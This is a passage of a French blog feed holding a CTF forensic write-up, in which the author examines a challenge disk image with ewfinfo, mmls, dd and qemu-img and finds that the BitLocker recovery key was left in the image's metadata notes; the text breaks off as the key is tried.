&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;font-style: normal; font-weight: normal; line-height: 100%; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://kmkz-web-blog.blogspot.com/feeds/1065233655939428122/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/4457623080129847893/1065233655939428122' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1065233655939428122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4457623080129847893/posts/default/1065233655939428122'/><link rel='alternate' type='text/html' href='http://kmkz-web-blog.blogspot.com/2016/07/advisory-cve-2016-6175.html' title='[Advisory] CVE-2016-6175'/><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWX7f_qhizDdUQtNH4mauHaDaN6n2Yuy_MaLPSzL1iO4adY6hBlbA6gVeOMl3greB2FM0GMLeHPN5ZaNMSsQ49Mu2PE4tB55xS_Ajtaz-llty0kG_1I42Qn0GEx0x2OA/s1600/*'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKFOfVjdEf47tJ1KcjuePCuJai7aKaiyomu6trOjKr5Zv2R8KxtST2h03w1E7yXksQJ_23iJZGIvI3X0Mb5BHU48kuhNY73DEyI6PMWidVf0Z7FL7tUy2xgjdQylVJG2Wj9Pn-CQDwXbhB/s72-c/cve-2016-6175.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4457623080129847893.post-1073820262794932851</id><published>2016-03-05T18:21:00.002+01:00</published><updated>2016-03-05T18:27:41.393+01:00</updated><title type='text'>[Write-Up] ESGI CTF 2k16 ForensicGio (Forensic 400)</title><content type='html'>Salut à tous,&lt;br /&gt;
ce jeudi avait lieu le &lt;b&gt;CTF du Security Day 2016&lt;/b&gt; de l&#39;&lt;a href=&quot;http://hacklab-esgi.fr/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;ESGI&lt;/b&gt; Paris&lt;/a&gt; et auquel notre team &lt;b&gt;sec0d&lt;/b&gt; participait enfin du moins ceux qui étaient là :P.&lt;br /&gt;
&lt;br /&gt;
Durant ce CTF nombre de challz ont été poncés mais un en particulier sur lequel j&#39;ai passé un moment me donne envie d&#39;écrire ce write-up car j&#39;avoue l&#39;avoir pas mal apprécié (merci&lt;b&gt;@Sug4r7&lt;/b&gt; de l&#39;avoir concocté).&lt;br /&gt;
Allez, allons-y et arrêtons de &quot;blablater&quot; !&lt;br /&gt;
&lt;br /&gt;
Le début du chall débute par la récupération de 2 archives tar.gz.&lt;br /&gt;
L&#39;une contenant le chall et l&#39;autre son checksum md5 pour valider de son intégrité, &lt;u&gt;l&#39;objectif pour valider ce chall étant de récupérer un flag ainsi qu&#39;une adresse mail&lt;/u&gt;, allez, on se lance!!&lt;br /&gt;
&lt;br /&gt;
Ces fichiers downloadés on check le md5 puis on extract le contenu de l&#39;archive et faisons un &quot;file&quot; dessus afin de déterminer ce à quoi nous avons affaire:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;span style=&quot;color: #999999;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;# cat CTF_security_day_2016.tar.gz.md5 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #444444;&quot;&gt;&lt;b&gt;2b5dfdabf403b309c35d72b455a96201&lt;/b&gt;&lt;/span&gt;:CTF_security_day_2016.tar.gz&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;color: #999999;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;# md5sum CTF_security_day_2016.tar.gz&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;color: #444444;&quot;&gt;&lt;b&gt;2b5dfdabf403b309c35d72b455a96201&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/blockquote&gt;
L&#39;archive extraitre révèle un format appelé &lt;b&gt;EWF&lt;/b&gt;  (Expert Witness Compression Format) généré par certains tools de dump de media et/ou partitions tel que &lt;b&gt;ewfacquire&lt;/b&gt; sous linux.&lt;br /&gt;
&lt;br /&gt;
Ayant pu identifier la facilité de certains challs présent je tente un &quot;string&quot;&lt;br /&gt;
dessus et jouant avec &quot;grep&quot; afin de voir si j&#39;en ressort quelques chose mais .. ce chall n&#39;est pas aussi facile, poursuivons.&lt;br /&gt;
&lt;br /&gt;
Kali Linux possède nativement nombre de tools pour jouer avec les dumps ewf alors je teste&amp;nbsp; &lt;b&gt;ewfinfo&lt;/b&gt; dans une première approche de collecte d&#39;info et, une fois le fichier renommé avec l&#39;extension (&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;.s01&lt;/b&gt;&lt;/span&gt;) qui va bien, j&#39;obtiens déjà quelques résultat:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;ewfinfo CTF_security_day_2016.s01 
ewfinfo 20140608

Acquiry information
        Case number:                1
        Description:                Security Day ESGI 2016 - Level: easy
        Examiner name:              IT Forensic investigator
        Evidence number:            1
        Notes:                      578589-646712-118349-156013-637549-351670-297187-312191
        Acquisition date:           Thu Mar  3 03:17:59 2016
        System date:                Thu Mar  3 03:17:59 2016
        Operating system used:      Linux
        Software version used:      20130416
        Password:                   N/A
        Model:                      DataBar USB2.0

EWF information
        File format:              EnCase 6
        Sectors per chunk:        64
        Error granularity:        64
        Compression method:       deflate
        Compression level:        best compression
        Set identifier:           6e1ec0c6-715f-f848-9119-e59a9b00dcc0

Media information
        Media type:                removable disk
        Is physical:               yes
        Bytes per sector:          512
        Number of sectors:         2015232
        Media size:                984 MiB (1031798784 bytes)

Digest hash information
        MD5:                        fff71a85859a1af7ede437178d701809
        SHA1:                       cf0b504bd9ea6e1b7183c9652ed3a402f12b4551&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Ok, première info intéréssante, pour la suite nous allons donc extraire le contenu du dump vers un format plus standard à l&#39;aide de l&#39;outils &lt;b&gt;ewfexport&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
L&#39;outil une fois lancé demande vers quel format l&#39;extraire etc.. il suffit de laisser cela par défaut puis de donner un nom de fichier une fois qu&#39;il le demander.&lt;br /&gt;
Il s&#39;appelera donc &quot;&lt;span style=&quot;color: red;&quot;&gt;CTF2.raw&lt;/span&gt;&quot; pour la suite. &lt;br /&gt;
&lt;br /&gt;
De là je me dis que peut-être serait-il possible de récupérer quelque chose via un peu de file carving, je lance donc un &quot;&lt;b&gt;foremost&lt;/b&gt;&quot;, hélas son output nous ramène à la raison: non ce ne sera pas aussi simple malgrès le &quot;easy&quot; ci-dessus!!&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;Foremost started at Fri Mar  4 01:19:56 2016
Invocation: foremost CTF2.raw 
Output directory: /root/Bureau/CTF/ESGI/foren/output
Configuration file: /etc/foremost.conf
------------------------------------------------------------------
File: CTF2.raw
Start: Fri Mar  4 01:19:56 2016
Length: 984 MB (1031798784 bytes)
 
Num         Name (bs=512)               Size         File Offset         Comment 

Finish: Fri Mar  4 01:20:12 2016

0 FILES EXTRACTED
        
------------------------------------------------------------------

Foremost finished at Fri Mar  4 01:20:12 2016&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Okay okay ... voyons donc voir la table de partition présente sur ce dump grâce à l&#39;outils &lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;b&gt;mmls&lt;/b&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;mmls CTF2.raw 

DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

   Slot      Start        End          Length       Description

000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
&lt;span style=&quot;color: red;&quot;&gt;002:  000:000   0000002048   0002015231   0002013184   NTFS / exFAT (0x07)&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
Une&amp;nbsp; partition windows semble bien présente, un simple &quot;file&quot; dessus indique même &quot;&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;DOS/MBR Boot Sector&lt;/b&gt;&lt;/span&gt;&quot; ce qui indique donc que ce serait probablement bootable.&lt;br /&gt;
Après quelque manipulations foireuses et bricolages en tout genre, je découvre un tools appelé &lt;a href=&quot;https://raw.githubusercontent.com/gleeda/misc-scripts/master/misc_python/mbr_parser.py&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;mbr_parser.py&lt;/b&gt;&lt;/a&gt; permettant de parser ce type de fichier et d&#39;en remonter certaines infos ce qui permet donc d&#39;affirmer que non, pas bootable :-/&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;===== Partition Table #1 =====
Boot flag: &lt;span style=&quot;color: red;&quot;&gt;0x0 &lt;/span&gt;
Partition type: 0x7 (&lt;span style=&quot;color: red;&quot;&gt;NTFS&lt;/span&gt;)
Starting Sector (LBA): 0x800 (2048)
Starting CHS: Cylinder: 0 Head: 32 Sector: 33
Ending CHS: Cylinder: 125 Head: 112 Sector: 51
Size in sectors: 0x1eb800 (2013184)



===== Partition Table #2 =====
Boot flag: &lt;span style=&quot;color: red;&quot;&gt;0x0 &lt;/span&gt;
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #3 =====
&lt;span style=&quot;color: red;&quot;&gt;Boot flag: 0x0 &lt;/span&gt;
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



===== Partition Table #4 =====
&lt;span style=&quot;color: red;&quot;&gt;Boot flag: 0x0 &lt;/span&gt;
Partition type: 0x0 (Empty)
Starting Sector (LBA): 0x0 (0)
Starting CHS: Cylinder: 0 Head: 0 Sector: 0
Ending CHS: Cylinder: 0 Head: 0 Sector: 0
Size in sectors: 0x0 (0)



Valid Signature (0xaa55): True =&amp;gt; (0xaa55)&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;br /&gt;
Nous savons alors que ce ne sera pas bootable en l&#39;état, ok, j&#39;ai donc pratiqué à l&#39;extraction de chacune des partition à l&#39;aide de &lt;b&gt;dd&lt;/b&gt; en espérant que la bonne partition pourra être montée et que ce sera alors la fin de ce chall.&lt;br /&gt;
Nous avions donc obtenu la liste des partitions et pouvions à préent les extraire de ce dump:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div class=&quot;&quot; id=&quot;magicdomid46&quot;&gt;
&lt;span class=&quot;author-a-1qz75zqz65zcz70zz82z4z76z6z70zysz71zz89z&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;br /&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;dd if=CTF2.raw of=CTF2_0.bin bs=512 skip=0 count=1
dd if=CTF2.raw of=CTF2_1.bin bs=512 skip=2048 count=2015231

file *.bin
CTF2_0.bin: DOS/MBR boot sector; partition 1 : ID=0x7, start-CHS (snip)
CTF2_1.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID &quot;-FVE-FS-&quot; (snip)&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/blockquote&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;/blockquote&gt;
en revanche lors de divers essais, il s&#39;est avéré impossible de monter le volume souhaité sur ma linux, cette partition n&#39;étant visiblement pas &quot;standard&quot;.&lt;br /&gt;
A partir de la, changement de stratégie.&lt;br /&gt;
&lt;br /&gt;
Le mount ne passant toujours pas en &lt;b&gt;vfat&lt;/b&gt; via &lt;b&gt;dd&lt;/b&gt; ainsi qu&#39;avec l&#39;outils &lt;b&gt;ewfmount&lt;/b&gt; sur le premier dump ewf de l&#39;archive, nous comprenons qu&#39;il faut essayer autre chose.&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt;&lt;span style=&quot;background-color: white;&quot;&gt;dd if=CTF2.raw of=new.img count=1 bs=1000MiB
file new.img
new.img: DOS/MBR boot sector; partition 1 (snip)
&lt;/span&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
L&#39;idée sera donc la suivante:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;prendre le fichier new.img et le convertir en&amp;nbsp; vmdk via qemu&lt;/li&gt;
&lt;li&gt;rattacher ce vmdk à une machine virtuelle Windows et essayer de monter le volume&lt;/li&gt;
&lt;/ol&gt;
C&#39;est la que mon coéquipier &lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: black;&quot;&gt;Orikata&lt;/span&gt; &lt;/b&gt;&lt;span style=&quot;color: black;&quot;&gt;et sa machine sont intervenus!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;La converion via Qemu faite&lt;code&gt;&lt;i&gt;:&lt;/i&gt;&lt;/code&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;pre&gt; /qemu-img convert -f raw -O vmdk /Volumes/xxx/new.img /Volumes/xxx/new.vmdk&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
il suffit de rattacher le vmdk en tant que volume à une VM Windows puis... SURPRISE!!&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS_750q6nYClYalWSSWSrOvmnQfHoGWjUwuonVs53ZyJwxh7kG6xJDglAS-PfiVVrgf5-17zHMZQzO6Tq9yTOXMeqa7FNUVb-I2JsANIFDiXgrAT1RGr5X5CrPF6wXLUwNIVr-8hZe86ZD/s1600/F511BF5A-8944-4900-9F27-16B6D38427C7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;360&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgS_750q6nYClYalWSSWSrOvmnQfHoGWjUwuonVs53ZyJwxh7kG6xJDglAS-PfiVVrgf5-17zHMZQzO6Tq9yTOXMeqa7FNUVb-I2JsANIFDiXgrAT1RGr5X5CrPF6wXLUwNIVr-8hZe86ZD/s640/F511BF5A-8944-4900-9F27-16B6D38427C7.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;code style=&quot;background-image: none!important; border-bottom-left-radius: 0px!important; border-bottom-right-radius: 0px!important; border-top-left-radius: 0px!important; border-top-right-radius: 0px!important; border: 0px!important; direction: ltr!important; display: inline!important; float: none!important; font-family: Consolas,&#39;Bitstream Vera Sans Mono&#39;,&#39;Courier New&#39;,Courier,monospace!important; font-size: 16px; line-height: 17.6px; margin: 0px!important; min-height: auto!important; outline: 0px!important; overflow: visible!important; padding: 0px!important; vertical-align: baseline!important; white-space: pre-wrap; width: auto!important;&quot;&gt;&amp;nbsp;&lt;/code&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
Un volume Bitlocker!&lt;br /&gt;
Voici donc la raison du temps perdu à tenter de le monter en vain sur ma Kali :/.&lt;br /&gt;
Ok, à partir de la comment faire pour monter ce volume sans la clef?&lt;br /&gt;
Et bien compliqué mais &lt;b&gt;Orikata&lt;/b&gt; se rappellant qu&#39;il est possible de monter le container via la clef de récupération via l&#39;onglet &quot;j&#39;ai oublié mon mot de passe&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY3TuQnUFqmqy3bKhbGMMLrFQPitO8kwvc-TYY8xU6xx7UgYsfkHOhzJUxXZfcsnUK9Edbd4fn6knSoJt4VgbYu8d_Gzy34e_bnVx1wftMVVe9BMzBmrQDlT_aBD11r8um-F3riUiiOV6F/s1600/1D414877-E30E-4D50-972D-D781EF16C1A4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;264&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY3TuQnUFqmqy3bKhbGMMLrFQPitO8kwvc-TYY8xU6xx7UgYsfkHOhzJUxXZfcsnUK9Edbd4fn6knSoJt4VgbYu8d_Gzy34e_bnVx1wftMVVe9BMzBmrQDlT_aBD11r8um-F3riUiiOV6F/s320/1D414877-E30E-4D50-972D-D781EF16C1A4.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
et que cette dernière est de la forme &lt;span style=&quot;color: orange;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;8 x 6 &lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: black;&quot;&gt;chars séparés par des &quot;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;-&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;color: black;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: black;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
Nous nous replongeons dans la collecte d&#39;info faites en amont et remarquons quelques chose d&#39;étrange.&lt;br /&gt;
Il s&#39;agit d&#39;une note contenue dans les métadata du dump initial ewf et qui n&#39;est sûrement pas le fruit du hasard rappellez-vous de cela:&lt;br /&gt;
&lt;span style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;color: black; font-family: Calibri,sans-serif; font-size: 14px;&quot;&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;ewfinfo CTF_security_day_2016.s01&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;ewfinfo 20140608&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;Acquiry information&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Case number:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Description:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Security Day ESGI 2016 - Level: easy&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Examiner name:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; IT Forensic investigator&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Evidence number:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; 1&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Notes:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;578589-646712-118349-156013-&lt;wbr&gt;&lt;/wbr&gt;637549-351670-297187-312191&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Acquisition date:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Thu Mar&amp;nbsp; 3 03:17:59 2016&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; System date:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Thu Mar&amp;nbsp; 3 03:17:59 2016&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Operating system used:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Linux&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Software version used:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 20130416&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; N/A&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px; text-align: left;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;margin: 0px; padding: 1px 0px;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Model:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;span style=&quot;color: red;&quot;&gt;DataBar&lt;/span&gt; USB2.0&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;font-family: monospace; font-size: 12px; line-height: 16px; margin: 0px; padding: 0px;&quot;&gt;
&lt;span style=&quot;background-color: #c3eeb5; margin: 0px; padding: 1px 0px;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
Nous tentons alors de pratiquer de cette manière afin de bypasser la clef du Bitlocker et...&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
